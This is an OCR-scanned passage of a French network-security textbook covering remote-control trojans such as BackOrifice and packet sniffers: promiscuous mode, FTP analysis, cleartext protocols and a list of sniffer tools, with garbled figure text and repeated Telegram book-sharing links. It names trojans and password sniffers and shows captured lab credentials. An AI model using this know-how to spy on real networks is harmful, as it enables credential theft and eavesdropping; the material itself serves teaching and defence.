Les trois plus célebres chevaux de Troie sont BackOrifice (www.bo2k.com),
NetBus (www.netbus.org) et SubSeven (http://subseven.slak.org). A BackOrifice
peuvent étre ajoutés des plugins, permettant entre autres de crypter la transmission
entre le client et le serveur avec un puissant algorithme comme IDEA Pire. Le code
source de BackOrifice a été diffusé, ce qui autorise le développement de nombreuses
variantes du logiciel. La figure 2.8 montre quelques plugin de BackOrifice.
ButtSniff est un sniffer qui permet d’espionner a distance un réseau ou se trouve une
machine infectée. ButtTrumpt 2000 permet a un pirate de récupérer I’adresse IP de
la machine infectée lorsque son adresse IP change. Lors d’une connexion dial-up
(par modem), ce plugin envoie un e-mail au pirate pour lui donner la nouvelle
adresse IP de la machine infectée. Donc une fois infectée, une machine est
désormais a la merci de I’agresseur.
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La figure 2.9 détaille quelques commandes utilisables a partir d’un poste pour
controler a distance une machine infectée par BackOrifice. Par exemple, une
machine peut étre rebootée, un clavier bloqué, ou un message envoyé pour qu’il soit
affiché sur I’écran de la machine cible.

Server Command Client N
Server Commands: Name: test gl
i 5] Multimedia | | Addr. Mg 17518006
~ Capture Video Still C ' [~ Allow Docking
, Capture AVI M W | Auto-Query
Lt F’IQWAV File
., Play WAV File In Loop Send Command

-, Stop WAV File
~%, List Capture Devices
. Capture Screen
- Fie!l')tectay
-5, List Directory
- Find File
5, Delete File
<L, View File
L, Move/Rename File
~L, Copy File
~,» Make Directory
_.» Remove Diractory
. Set File Attributes

_,> Recaive Fie -
4| | »

Sarver Rssponss:

Clear Rasponses

Figure 2.9. Les commandes de BackOrifice

2.9. Résumé du chapitre 2

Dans ce chapitre, plusieurs types d’attaques ont été présentés. La liste de ces
attaques n’est évidemment pas exhaustive, mais elle inclut les plus fréqguemment
lancées par la communauté des pirates.

Les exemples détaillés, puisés dans la réalité, permettent une meilleure
sensibilisation aux risques encourus et aux problemes de piratage. Les attaques
exposées démontrent aussi les faiblesses et les vulnérabilités liées aux protocoles et
aux services réseaux. Egalement, a travers la description des attaques, le lecteur peut
noter que le pirate n’est pas obligé d’étre un professionnel talentueux des réseaux et
des systemes d’exploitations pour mener des attaques réussies.

Dans les chapitres suivants, nous décrirons les sniffers dans les réseaux Ethernet
partagés et commutés, ainsi que les techniques et les outils de détection des sniffers.
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Nous exposerons également les attaques basées sur le sniffing des réseaux, ainsi que
les attaques basées sur la manipulation malveillante du protocole ARP.

Nous détaillerons particulierement I’attaque de la corruption du cache ARP (ARP
cache poisoning), qui permet de rediriger le trafic de deux machines vers la machine
de I’agresseur.
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CHAPITRE 3

Les sniffers dans les réseaux partagés

Les sniffers sont contemporains des débuts de I’Internet lui-méme. lls figurent
parmi les premiers outils qui ont permis aux administrateurs systémes d’analyser
leurs réseaux et de localiser un probléme avec précision. Ces mémes outils sont
malheureusement a la portée des hackers qui en usent également pour espionner les
réseaux et voler tous genres de données. Ce chapitre tente de définir ce qu’est un
sniffer, d’expliquer son utilité, les risques qu’il présente, les services vulnérables au
sniffing et enfin, il expose les sniffers les plus prisés. Nous détaillerons également
dans ce chapitre les sniffers qui fonctionnent dans les réseaux partagés
(principalement les réseaux utilisant des hubs) ou les paquets envoyés a une
destination seront aussi recus par toutes les machines du réseau.

3.1. Introduction

Le terme sniffer est une marque déposée enregistrée par Network Associates! en
se référant a Sniffer Network Analyzer. Le terme sniffer est plus populaire que des
termes tels que « analyseur de protocole » et « analyseur de réseau ».

Un sniffer est un programme qui permet de capturer tous les paquets circulant sur
un réseau local (LAN) et qui permet d’afficher leurs contenus. Il peut capturer
n’importe quelle information envoyée a travers un réseau local, et donc afficher
aussi bien I’identité des utilisateurs que leurs mots de passe transmis par tout service
transportant des données claires (non cryptées), tels que Telnet, DNS, SMTP, POP3,

1. www.networkassociates.com, www.nai.com ou www.mcafee.com.
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FTP et HTTP. Si les données ne sont pas cryptées et si elles passent par I’interface
réseau de la machine ol s’exécute le sniffer, ce dernier les capture et les propose a la
lecture directe.

Malheureusement, c’est une arme a double tranchant. En effet, il est utilisé par
I’administrateur réseau qui tente de résoudre les problémes techniques de son
entreprise, mais aussi par I’intrus qui cherche a espionner les données circulant dans
un réseau local. L’agresseur qui utilise un sniffer peut lire des données transitant a
travers une machine donnée en temps réel, et les enregistrer dans un fichier pour les
analyser ultérieurement.

3.2. Le mode normal et le mode promiscuous des cartes réseau

Les cartes réseau (network interface card — NIC) fonctionnent en deux modes, a
savoir le mode normal et le mode promiscuous.

Par défaut, les cartes réseau fonctionnent en mode normal. Ce mode permet a
une carte de filtrer les paquets recus sur I’adresse destination MAC. Ce type de
filtrage est appelé filtrage matériel ou filtrage hardware.

Par contre, le mode promiscuous consiste a accepter tous les paquets circulant
dans un réseau, méme ceux qui ne sont pas destinés a la carte. Donc lorsque la carte
est en mode promiscuous, le filtrage matériel est désactivé (figure 3.1).

| Tous les paquets
Le filtre matériel

Le filtre matériel La carte réseau La carte réseau g i
active en mode normai S8 rioce o iiclines Uesactve
* Aux autres LAN b

Figure 3.1. Le mode normal et le mode promiscuous des cartes

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

Les sniffers dans les réseaux partagés 93

Dans le cas ou la carte réseau est configurée pour le mode promiscuous, un
sniffer collecte tout le trafic passant par cette carte. Alternativement, quand la
collecte des données se fait seulement pour les données a destination ou issues de la
carte, le mode normal est suffisant. C’est donc le programme sniffer qui fait passer
la carte réseau du mode normal en mode promiscuous.

Dans des machines Unix, le mode promiscuous peut étre activé en console grace
a la commande ifconfig : « ifconfig ethO promisc ».

Il existe deux cas de figure selon que les deux machines cibles sont ou non
localisées sur le méme réseau.

Dans le cas ou les machines sont sur le méme réseau, le sniffer doit étre lui aussi
sur ce réseau. Si les machines sont sur deux réseaux différents, le sniffer doit étre
sur I’un des réseaux.

Dans un réseau commuté (switch), le sniffing semble impossible a réaliser
puisque seul le destinataire regoit les trames qui lui sont envoyées. Nous verrons
plus loin que certaines manipulations opérées sur le cache ARP permettent de faire
du sniffing sur un réseau Ethernet, méme s’il est commuté.

3.3. Le filtrage matériel

Dans un réseau Ethernet, toutes les adresses MAC des paquets se présentent sur
6 octets. Théoriquement, il n’y a pas deux cartes réseau qui aient la méme adresse
MAC. Toutes les communications sur un réseau Ethernet sont basees sur ces
adresses MAC. Une carte peut installer différents filtres matériels afin de recevoir
différents types de paquets. La liste ci-dessous énumere les divers filtres matériels
des cartes réseau.

3.3.1. Unicast?

Elle recoit seulement les paquets qui ont la méme adresse destination MAC que
celle de la carte réseau (figure 3.2).

2. En francais, « unidestination ».
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3.3.2. Broadcast3 (adresse de diffusion générale)

Elle recoit tous les paquets broadcast qui ont une adresse destination MAC
broadcast (FF-FF-FF-FF-FF-FF). L’utilisation de ces adresses destination permet
d’envoyer des paquets qui seront recus par toutes les machines du réseau (figure 3.2).
3.3.3. Multicast?

Elle recoit tous les paquets spécifiqguement configurés pour parvenir & un certain

groupe de machines. Seul les paquets avec des adresses MAC multicast enregistrées
auparavant dans la liste multicast sont acceptés par la carte (figure 3.2).

Adresses MAC Unicast .
Adresses MAC Multicast Le SVSteme dela
Adresses MAC Broadcast machine

Carte
réseau

Mode normal

Réseau
Adresse destination MAC = 00:00:00:00:00:01

Figure 3.2. Le filtrage matériel est activé lorsque la carte est en mode normal

3.3.4. Promiscuous

Elle recoit tous les paquets sans contrdler I’adresse destination MAC. Ainsi, aucun
filtrage matériel n’est appliqué par les cartes sur les paquets recus (figure 3.3).

3. En francais, « diffusion ».
4. En frangais « multidestination ».
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Le systéme de la

Toutes les adresses ":].aCh'"e
MAC £
S Mode Promiscuous
réseau

Réseau
| Adresse destination MAC = 00:00:00:00:00:01 >

Figure 3.3. Le filtrage matériel est désactivé lorsque la carte est en mode promiscuous

3.4. Fonctionnalités d’un sniffer

Les sniffers payants sont utilisés par les administrateurs réseaux pour le bon
fonctionnement des réseaux (contrble de congestion, contrdle d’erreurs, statistiques
sur le trafic réseau...). Un administrateur de sécurité pourrait utiliser des sniffers
multiples, stratégiquement placés dans tout son réseau, comme systéme de détection
d’intrusion.

Par contre, les sniffers téléchargeables gratuitement, ou les versions d’évaluation
pour les sniffers payants, sont utilisés fréqguemment par les hackers pour espionner
illégalement les données transitant dans les réseaux. Les sniffers sont tres utiles pour
les administrateurs systémes, mais ils sont également parmi les outils les plus
utilisés par les hackers.

3.4.1. Utilités des sniffers
Les paragraphes suivants montrent, a travers des exemples pratiques, I’utilité des
sniffers aussi bien pour I’administration des réseaux que pour la didactique dans les

cours de réseaux.

3.4.1.1. Administration des réseaux

Les sniffers permettent de visualiser le type de service pour chaque connexion
(FTP, HTTP, Telnet, SMTP, etc.) active dans le réseau (figure 3.4).
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[172.16.16.2]

[s0sln0 & | mewung [m

Ly |

Objects
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Protocol Dist. 4 Stafistics

Figure 3.4. Visualisation des services des connexions actives avec le sniffer Sniff Pro

Les sniffers convertissent les données en format lisible de sorte que I’utilisateur
puisse lire le trafic capturé. Par exemple, il est possible de visualiser les différents

champs des en-tétes (

IP, ARP, ICMP, TCP, UDP, DNS, FTP, HTTP, etc.) des

paquets capturés (figure 3.5).

if4: Decode, /94 Ethernet Frames
Ho__ [Slalus_|Gource Addiess Dest Addiess Summary, Len [B]Rea]
Of17 risala. ati.tn [172.16.16.2] POP3:. E PORT=105% +0K 1 visible messages (103193
O|12 [172.16.16.2] |risala.ati.tn |TCP: D=110 S=1055 ACK=2119367127 UIN-17353 |60
(19 risala. ati.tn POP3: R PORT=1055 Text Data g6 | =
0|20 [172.16.16.2] POP?: C PORT=110 RETR 1 62
1|21 risala. ati.tn TCP: D=1055 5=110 ACK=2615601395 UIN=5840 |50
Of22 risala. ati.tn . POP3:. E PORT=105% +0K 10310 octets 1514
O 23 risala.ati.tn |[172.16.16.2] |POF3: R PORT-=1055 Text Data 1514
1|24 [172.16.16.2] |risalas.ati.tn |TCP: D=110 S=10G5 ACK=2119370059 WIN=17520 |60
O 25 risala.ati.tn |[172.16.16.2] |POP2: R PORT-=1055  Text Data 1514
1|26 risala ati 1 16
0|27 2 £l =
B &) TP, —— TCF header ——— 2]
£ TCP [}S
B TCP: Source port = 1055
-4y TCP: Destination port = 110 (POP3)
-4y TCP: Sequence number = 2515601395
--@TCP Next expected Seq nunber= 2615601395
--@TCP Acknovledgnent number = 2119372979
..Jlj TCP: Data offset = 20 bytes
{E) TCP: Flags = 10
& TCP .0 = (No urgent pointer)
5 TCP 1 = icknowledgment
- TCP 0 = (Ho push)
By TCP 0. . = (Ho reset)
-5y TCP .0. = (Ho SYH)
.. TCP ..0 = {No FIN)
B ron . e - dorewm [
[00000000° 00 09 Of 08 02 38 00 02 ab be =3 82 08 00 45 00 .. 8. .¥9al. E.
Decode fi Matrix A Host Table ) Protocol Dist. }, Statistics /-

Figure 3.5. Visualisation des champs de I’en-téte TCP du paquet 27
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Les sniffers assistent les administrateurs réseaux dans I’analyse des pannes pour
découvrir les problémes, tels que la coupure de connexion entre deux ordinateurs, et
les goulots d’étranglement du réseau. Ils aideront également a détecter les tentatives
d’intrusion dans les réseaux. Un sniffer peut, entre autres, signaler qu’une machine
non autorisée est entrée en connexion avec un serveur.

La plupart des sniffers fournissent des statistiques intéressantes sur le trafic
réseau, par exemple :

— des statistiques d’ordre général sur le trafic réseau (figure 3.6) ;

— des statistiques sur les protocoles IP et ARP (figure 3.7) ;

— des statistiques sur les paquets échangés entre deux machines (figure 3.8).

= Statistics

General IP Prot. || IP Sub-prot. | Sizes | LAM Hosts{MAC) | LAM Hosts(IP) | Errors | Report

Packets per second Average:

100k,
10k
1k
100

R T T T S T Ml

Awerage:

i

Current network,
utilization

RN

Pass-through

Capture time elapsed since last reset (hhimm:ss): 00:03:53

Reset I l QK ]
Apply current rules [

Figure 3.6. Statistiques générales sur le trafic réseau
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Figure 3.7. Statistiques sur les protocoles IP et ARP
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Figure 3.8. Statistiques sur les paquets échangés entre deux machines

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

Les sniffers dans les réseaux partagés 99

3.4.1.2. Les cours réseaux : principe du fonctionnement du service FTP

Les sniffers sont d’excellents outils pour enseigner le réseau. Ils permettent en
effet d’étudier et d’analyser pratiquement et simplement les différents protocoles de
communications, notamment les protocoles TCP/IP et les services Internet (FTP,
HTTP, etc.). A titre d’exemple, nous montrerons comment un sniffer peut étre utilisé
pour faire comprendre aux administrateurs réseaux et aux étudiants le principe de
fonctionnement du service FTP.

Le service FTP : le mode normal et le mode passif

De facto, FTP est le standard pour les transferts de fichiers sur I’Internet. Il
existe deux types d’accés FTP : utilisateur et anonyme.

Le FTP utilisateur requiert un compte sur le serveur et permet aux utilisateurs
d’accéder aux mémes fichiers que s’ils s’y étaient logés. Le FTP anonyme, quant a
lui, sert aux utilisateurs qui n’ont pas de compte et est destiné a donner acces a des
fichiers spécifiques au monde extérieur.

Le FTP anonyme est de loin le plus courant sur I’Internet. Si un site fournit un
service FTP anonyme, n’importe quel internaute peut initialiser une connexion FTP,
proposer au serveur le login « anonymous » et accéder a tous les fichiers que les
propriétaires du site ont choisi de rendre disponibles dans une zone restreinte.

FTP utilise deux canaux de communications TCP séparés: I’un, appelé
couramment le canal de commandes, sert a transporter les commandes et leurs
résultats entre le client et le serveur, et I’autre, appelée canal de données, au
transport des fichiers transférés. La plupart des serveurs FTP supportent deux
modes, a savoir : le mode normal et le mode passif.

Avec le mode normal, au départ d’une session FTP, un client alloue deux ports
TCP pour lui-méme, chacun des ports a un numéro supérieur a 1 023. Il utilise
le premier pour ouvrir la connexion du canal de commandes au serveur FTP, puis
lance la commande Port de FTP afin de signaler au serveur FTP le numéro
du second port qu’il se propose d’utiliser pour le canal de données. Le serveur
FTP ouvre alors la connexion qui se déroule a I’inverse des autres protocoles,
qui ouvrent leurs connexions du client vers le serveur. La figure 3.9 illustre ce type
de connexion FTP.
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Figure 3.9. Les connexions du mode normal du service FTP
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Figure 3.10. Les connexions du mode passif du service FTP
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Avec le mode passif ou mode PASV (d’aprés la commande FTP que le client
envoie au serveur pour initier ce mode), c’est le client qui ouvre a la fois le canal de
commandes et le canal de données. Le client alloue deux ports TCP pour son propre
usage et utilise le premier pour le contact avec le serveur, tout comme dans le mode
normal. Mais au lieu de lancer la commande PORT pour signaler au serveur le
second port du client, il envoie la commande PASV. Le serveur alloue alors un
second port pour le canal de données. Pour des raisons architecturales, les serveurs
emploient des ports aléatoires situés au-dessus de 1 023, et non le port 20 comme en
mode normal. Le client ouvre ensuite la connexion de données depuis son port vers
celui du serveur. La figure 3.10 illustre ce type de connexion FTP.

Les différents écrans ci-dessous montrent comment on arrive, grace a un sniffer,
a retrouver le mode d’une connexion FTP et les numéros des ports des deux canaux
de commandes et de données.

e 8|5 olu|o|s|EslalE 2| ¢ &
| hek Station 2 | Protocol | reguests| Ei
72161641 FIP 1 g
=]
i
I 2
N\ Expert f Decode )\ Mekrtx J Host Tebko  Protocol Dist. Jy Stetisbis
For Hlp, press Fi S ] B (A [z 4

Figure 3.11. Ecran 1

Tout d’abord, I’écran généré par Sniffer Pro (figure 3.11) montre qu’une
connexion de type FTP existe entre la machine d’adresse IP 172.16.16.2 et la
machine d’adresse IP 172.16.16.4.
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L’écran 2 (figure 3.12) liste les paquets de la connexion FTP. Le paquet numéro
1 montre clairement que la machine d’adresse IP 172.16.16.2 a envoyé a la machine
d’adresse IP 172.16.16.4 un paquet TCP Syn demandant I’ouverture d’une
connexion sur le port 21 (canal des commandes). Les paquets numéro 2 et 3
représentent les deux autres paquets nécessaires pour terminer la phase d’ouverture
d’une connexion TCP (three-way handshake). Donc la machine d’adresse IP
172.16.16.4 est la machine du serveur FTP.

[172.16.16.4] [172.16.16.2] |[TCP: D=1041 S=21 SYN ACK=1774037259 SEQ=9501869%
[172 16 .16.2] [172.16.16.4] |TCP:- D=21 S=1041 ACK=950186957 WIN=17520 =
[172.16.16.4] [172.16.16.2] :FFP R FORT=1041 220 Fastreamn NETFile FTF Serv
[172.16.16.2] |[172.16.16.4] |ETP: € PORT-1041 USER tunisl
[172.16.16.4] [172.16.16.2] [FTP: R PORT=1041 331 Passvord required for tur
[1?2.16_16.2% [172.16.16.4] |FTP: C PORT=1041 PASS tunis2
[172.16.16.4 [172.16.16.2] |EFTP: R PORT=1041 230 User tunisl logged in
f172.16.16.2] |[172.16.16.4] |ETP: C PORT=1041 S¥ST
0 [172.16.16.4] |[172 .16 16.2] |FTP' R PORT=1041 215 UNIX Type: 18 Internst Ce
1 [1?2.16_16.2% El?z.lﬁ.lfa.l] |FTP: € PORT=1041 REST 100
2 172.16.16.4 172.16.16.2] |FTP: R FORT-1041 350 REST supported. Ready to
3 [172.16.16.2] |[172.16.16.4] EFTP € PORT-1041 REST O
1 (172.16.16.4] |[172.16.16.2] |FTP' R PORT-1041 350 REST supported Ready to
3 193 %A 16 21 [F172 18 92 a1 dFTR o mw.ln.ul BT .

|3 Ty

: Source port = 1041
: Destination port = 21 (FTF)

Initial sequence nusber = 1774037258
: Next expected Seq number= 1774037259

Data offset = 28 bytes _l
Flags = 02
o = (No urgent pointer)
= 0 = (Ho acknowledgrent ) =l
00000000: OO0 30 44 22 66 56 00 02 a5 bE =3 B2 08 00 45 00 00§V wHE). E a
00000010: O0 30 00 B8 40 00 B0 06 82 19 ac 10 10 02 ac 10 O 1@ 1§ - = ¥
Decode J Malrix A\ Host Table A Profocol Dist. /\ Stelistics
For Help, press F1 & ] bedl A (272 A

Figure 3.12. Ecran 2

Le paquet numéro 19 de I’écran 3 (figure 3.13) montre que la machine client
(172.16.16.2) a envoyé la commande PASV a la machine serveur FTP. Donc, le
mode de la connexion FTP est le mode passif.

Le serveur FTP (172.16.16.4) alloue donc un second port pour le canal de
données (voir figure 3.10), et délivre au client le numéro de ce port. Le paquet
numéro 20 (voir I’en-téte FTP du paquet) dans I’écran 4 (figure 3.14) montre
clairement le numéro de port envoyé par le serveur FTP a la machine cliente, en
I’occurrence le numéro 50. Le client ouvre ensuite la connexion de données (paquet
numéro 21) depuis son port (1042) vers celui du serveur (port 50). Les paquets 22 et
23 représentent les deux autres paquets nécessaires pour terminer la phase
d’ouverture de la connexion relative au canal des données. Aprés quoi, la machine
client peut commencer le téléchargement des données.

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

Les sniffers dans les réseaux partagés 103

227 Entering Passive Node (|
SYN SEQ-1774105287 1EN<-0 VIN-1
SYH ACK=1774105288 SEQ=9502603¢
ACE=950260364 VIN=17520 -
1IsT
ACK=1774105288 SEQ=35026 03¢
150 Opaning data connscti
FIN ACE=177410528
50 S=1042 =9502
: D=50 S=1042 FIN ACK=95026
: D=1042 S=50 ACK=1774
- Ti=?1 S=1041% ACV=AEATATIAY HTH17114

e e o o e e

.0 = (No FIN)
= 17210

: = JEF0 (correct)

: No TCP options

: [6 Bytes of data]

42 SYN SEQ=1774105287 LEN=0 VIN:
0 SYN ACK=1774105288 SEQ-9502603
D=50 S=1042 ACK=350260364 WIN=17520
C PORT=1041 LIST L
D=1042 S=50 ACK=1774105288 SEQ=9502603¢
PORT=10 ! i i

=1041 50 Opening data comnection
D=1042 S=50 FIN ACK=1774105288 SEQ=9502610¢
D=50 S=1042 ACK=350261068 WIN=16817
D=50 S=1042 FIN ACK-950261068 SEQ=17741052
D=1042 S=50 ACK=177410528% WIN=17520
D=21 S=1041 ACK=950187363 VIN=17114
P PORT=1041 27 Fila rant b

GEEEEEEEERD B

- (Mo FIN)
: Window 17451
Checksun = A&dF (correct)
: Ho TCF options
[47 Bytes of data]

Figure 3.14. Ecran 4
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3.4.2. Les dangers et les menaces

Paradoxalement, les meilleurs outils de détection d’intrusion et d’analyse de
trafic les plus efficaces sont aussi les meilleurs outils d’attaque. Les outils Snort et
Dsniff sont les exemples-types. Dans ce qui suit, nous présentons quelques exemples
attestant de la capacité d’un sniffer pernicieux :

— collecte de logins et de mots de passe transmis en clair dans le réseau (figure 3.15).
Ces informations peuvent étre utilisées par les hackers pour perpétrer une attaque
contre un systéme ou un site web ;

— collecte de numéros des cartes de crédits des utilisateurs réseaux pour une
éventuelle utilisation frauduleuse ;

— collecte d’informations confidentielles : I’espionnage économique ;

— conversion des données en format lisible pour les utilisateurs (lecture du
contenu des e-mails).

= Win Sniffer

File Capture Tools Help

O B | =k start EY'Options B Adapter
M Tirne Fram Ta Proto... | Username Passward Additional Info
£ |
Ready IP: 172.16.16.3 |Bj@ Carte Ethernet Realtek PCI RTLBOZ9(AS) -

Figure 3.15. Win sniffer est un sniffer de mots de passe

Toutefois, quand bien méme le processus du sniffing serait dans un état de
passivité, car ne permettant ni détournement ni modification du trafic la simple prise
d’une copie du trafic transitant dans le segment Ethernet pourrait s’avérer trés
dangereuse. En effet, grace a un sniffer, un pirate pourrait identifier les hétes
sensibles (c’est-a-dire des firewalls, des proxies), pour placer par la suite d’autres
outils d’attaque dans des endroits névralgiques. En conséquence, les hotes présentant
une certaines sensibilité doivent étre étroitement surveillés.
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Les sniffers offrent donc une bréche que les hackers utilisent volontiers dans
leurs stratégies d’attaque. Une phase de collection d’information réussie permettrait
une attaque réussie®.

3.5. Les composantes d’un sniffer

@ Ethereal: Capture Options

“Capture
Interface: I\DevIne\NF'F_{BMDEF53—1DEB—4915—9-_J’]

Link-layer header type:  Ethernet

i Limit each packet to IEEE "? bytes

r Capture packets in promiscuous mode

FiIter:I Itcp and port 30 ar arp

:Capture file(s]
File:] |

l_g Llse ring buffer  [umber of files ID “}
!_j Rotate capture file every 11 ‘} second(s)

Display options

| Update list of packets in real time

I
rCapture limits

il‘ Stop capture after ‘? packet(s] captured
l_! Stop capture after I1 "} kilobyte(s) captured

!_i Stop capture after I1 ‘? second(s)

rMame resolution

| _1 Enable network name resolution

‘_jAutDmatic scrolling in live capture

r Enable MAC name resolution

!I‘ Enable transport name resolution
. =

I Ik Cancel

Figure 3.16. Les options de capture du sniffer Ethereal

5. Dans le chapitre 4, nous présenterons en détail quelques attaques réseau basées sur
I’utilisation des sniffers.
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Un sniffer comporte les composantes suivantes :

— un matériel (la carte réseau) : la plupart des sniffers fonctionnent sur toutes les
cartes réseau standard. Seuls quelques-uns exigent un matériel spécifique offrant la
possibilité d’analyser des défauts de matériel ;

— un pilote de capture (driver) : c’est la partie la plus importante. Le Driver
capture le trafic a travers le segment réseau, filtre a la demande un trafic spécifié,
puis stocke les données dans un buffer. La figure 3.16 illustre les différents modes
de filtrage possibles avec le sniffer Ethereal et montre qu’il est possible de choisir le
mode de la carte réseau (normal ou promiscuous) ;

— un buffer : une fois les trames capturées dans le réseau, elles sont stockées
dans la mémoire. 1l existe deux modes de capture : la capture jusqu’a remplissage de
la mémoire réservée, ou I’emploi d’une mémoire ou les données les plus récentes
remplacent les anciennes. Quelques produits comme The BlackICE Sentry IDS
peuvent maintenir une mémoire de capture sur le disque ;

— un décodeur : il montre le contenu du trafic du réseau avec le texte descriptif
de sorte qu’administrateur ou hacker puisse analyser ce qui y est ;

— une édition/transmission des paquets : quelques produits contiennent des
dispositifs qui permettent de forger ses propres paquets et de les transmettre sur le
réseau. Ces produits intégrent des générateurs de paquets, tels que les sniffers Sniffer
Pro et CommView (figure 3.17). CommView intégre un générateur de paquets qui
permet d’envoyer tout type de paquets ICMP, TCP, UDP et ARP. L’utilisateur n’a
gu’a choisir les valeurs des champs d’en-tétes du paquet et le nombre de paquets
voulu. 1l peut également envoyer le paquet de fagcon continue, et avec un débit
particulier.

3.6. Les librairies logicielles de capture et de génération de paquets

Pour mettre la carte réseau en mode promiscuous, on dispose de deux moyens
selon I’environnement utilisé :

— pour Windows : les bibliotheques Winsock2 (raws sockets) et WinpCap ;
— pour Linux : la bibliothéque libpcap.

Dans cette section, on s’intéresse uniquement au systeme d’exploitation
Windows, les autres systemes présentant des librairies similaires. Commencons par
les raws sockets qui sont inclus dans la bibliotheque Winsock2. L’avantage de la
librairie de capture et de génération de paquets Winsock2 est son implémentation par
défaut dans le noyau des différentes plates-formes Windows. Par contre, ses
inconvénients majeurs sont d’une part son incapacité a manipuler la couche
physique (Ethernet) aussi bien pour capturer que pour envoyer des paquets, d’autre
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part les difficultés qu’elle pose lorsqu’on veut exécuter des applications avancées
telles que le filtrage des paquets et le choix de I’interface réseau.

Bl Send Packets via Carte Ethernet Realtek PCI RTLBO29(AS) - Miniport d’ordonnancement... E|EIE|

[=- Ethemet II Dx: FF FF FF FF FF FF 00 01 SE 3F Ad 66 08 06 00 Ol i
- Destination MAC: FF:FF:FFFFFFFF Oxl0: 08 00 06 04 00 Ol 00 01 EE 3F Ad 66 AC 10 10 0Z ... ..

Souree AL N0I01E SRS 0x20: 00 00 00 00 00 00 &AC 10 10 03 00 00 00 00 00 00 ... ..
Ethertype: Dx0E06 (2054) - ARD Liasis

= ARP
| Hardware: 030001 (1) - Ethermet
Protocal: 00800 (2045) - IR
Wardinare addess leriath: s 5y

i Protocol address length: 0x04 ()

. Cperations 0x0001 (1) - ARP Request
Sender MAC address: 00:01:5E:3F iAhEE
Sender IP address: 172,16.16.2

i Target MAC address: 00:00:00:00:00:00

.. Target IP address: 172.16.16.3

j ——

Packet Generator

i A
v

Packets per second: 5_11 — l (O] .4 — I Limels) 4 af 4 péckéts'sent

Figure 3.17. Le générateur de paquet du sniffer CommView

WinPcap est une autre bibliotheque, libre et publique, destinée a I’acces direct
aux réseaux sous Windows. Le but de WinPcap est de permettre le « raw access »
aux applications Win32, sans la médiation d’entités comme les piles de protocoles. Il
fournit des équipements permettant de :

— capturer les paquets destinés a la machine utilisant WinPcap et ceux échangés
par d’autres hétes (dans des réseaux partageés) ;

— filtrer les paquets selon des reglages personnalisés par I’utilisateur avant de les
expédier a I’application ;

— transmettre les paquets au réseau ;
— collecter des statistiques sur le flux.
Dans I’annexe, nous détaillons le processus de programmation des sniffers. Nous

donnerons le code des principales procédures, écrites en Visual C++, permettant la
programmation d’un sniffer.
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3.7. Les protocoles vulnérables au sniffing

Les protocoles, les services réseaux, et les applications transportant des données
claires (non cryptées) sont vulnérables face au sniffing. Ainsi, les paquets peuvent
étre capturés par les sniffers et leurs contenus analysés facilement. Les exemples suivants
illustrent quelques services vulnérables notamment au niveau des mots de passe.

3.7.1. HTTP

Le service web utilise le protocole HTTP. Les données en formats HTTP sont
envoyées a travers le réseau en clair texte. Ainsi, plusieurs sites web emploient
I’authentification et envoie des mots de passe a travers le réseau en clair texte. Un
sniffer peut facilement capturer ces données.

3.7.2. Telnet et rlogin

Le sniffing peut capturer les saisies au clavier de I’utilisateur victime, y compris
son login et son mot de passe. Il existe des produits commerciaux qui capturent tout
le texte et le vident a un terminal émulateur, qui reconstruit exactement ce que voit
I’utilisateur. Ceci a fondamentalement produit une visionneuse en temps réel et a
distance de I’écran de I'utilisateur.

3.7.3. SNMP

Le protocole SNMP (simple network management protocol) est congu pour
faciliter la centralisation de la gestion des équipements réseau (routeurs, switches,
etc.). Presque tout le trafic de SNMP est susceptible d’étre attaqué. Des mots de passe
de SNMP (nommés community-strings) sont envoyeés a travers le réseau en clair texte.

3.7.4. SMTP, POP, FTP, IMAP, NNTP
Tous ces protocoles introduisent les mots de passe et les données en clair.

Notons que tous ces services ont des alternatives de sécurité. Quand les
informations entrantes concernent les cartes de crédit, la plupart des sites web
emploient le chiffrage de SSL (secure socket layer) plutdt que le protocole HTTP.
De méme, S/mime et PGP peuvent chiffrer les e-mails. De méme, le trafic FTP peut
étre crypté grace aux services FTP cryptés basés sur le protocole SFTP (secure FTP)
et/ou SSL, tel que le logiciel serveur FTP GlobalSCAPE Secure FTP Server et le
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logiciel client FTP GlobalSCAPE CuteFTP Professional (http:/imww.globalscape.com),
figure 3.18. Malheureusement, peu d’entreprises pensent au cryptage de leurs
données et de leurs communications cruciales.

=10l x|

2 FTP Sécurisé [127.0.0.1] - Connected [
File Edit Wiew Configuration: Tools  Window
|s$D-S-lvRE||edag e X asma

Main S ecurty | Guota |

Ea Default Server Group
=B FP sécurise

— Security

- FTP Zouheirt

El% User Setting Levels
%ﬁ Default Settings
Groups

% Event Rules

Commands

¥ Allow NOOP cammand

[V Disable account after |5 _I;' incamect login attempts
[” User can change password [SITE PSWD cormmand)

¥ allow $CRC comrand

™ Bestrict to thiz [P: I 0 ] i} a

-ﬂﬁ‘t'o—c-o_l permission: e,
¥ Allow access using FTP protocol

L~

¥ Allow access using S5L over FTP protacal

¥ &llow access using SETP protocal
‘wiarning: If all are unchecked then users will nobibe able ta lagin t

N SFTP Setting:
Wn_mode: IF'assword j

Select public key: I d
Statusl @ WFS B St | \/!—‘«pply Refresh ﬁ Mew User <D
Ready |FTP Engine started on Sundaw, February 27, 2005, 19:14:12 |Users connected: 0 ]

Figure 3.18. Le serveur FTP sécurisé GlobalSCAPE Secure FTP Server

3.8. Les sniffers les plus notoires

Les sniffers sont disponibles sur le web et en grand nombre. Nous présentons
ci-dessous les sniffers les plus riches en fonctionnalités et les plus utilisés. Dans le
site SecurityFocus.com, plusieurs pages traitent des sniffers. En voici quelques
exemples :

— Ethereal : http://www.ethereal.com ;

— Sniffer Pro : http://www.networkassociates.com ;

— CommView : http://www.tamos.com ;

— Sniff’em : http://www.sniff-em.com ;

— Tcpdump : http://www.tcpdump.org ;

— Windump : http://netgroup-serv.polito.it/windump ;

— Snort : http:///lwww.snort.org ;
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— Sniffit ; http://reptile.rug.ac.be/~coder/sniffit/sniffit.html ;
— BlackICE Pro : http://www.networkice.com ;

— Linsniff : http://www.packetstormsecurity.org ;

— LANWatch : http://sandstorm.net/products/lanwatch/ ;

— BUTTSniffer : http://www.packetstormsecurity.org ;

— Win Sniffer : http://www.winsniffer.com ;

— Ace Password Sniffer : http://www.effetech.com.

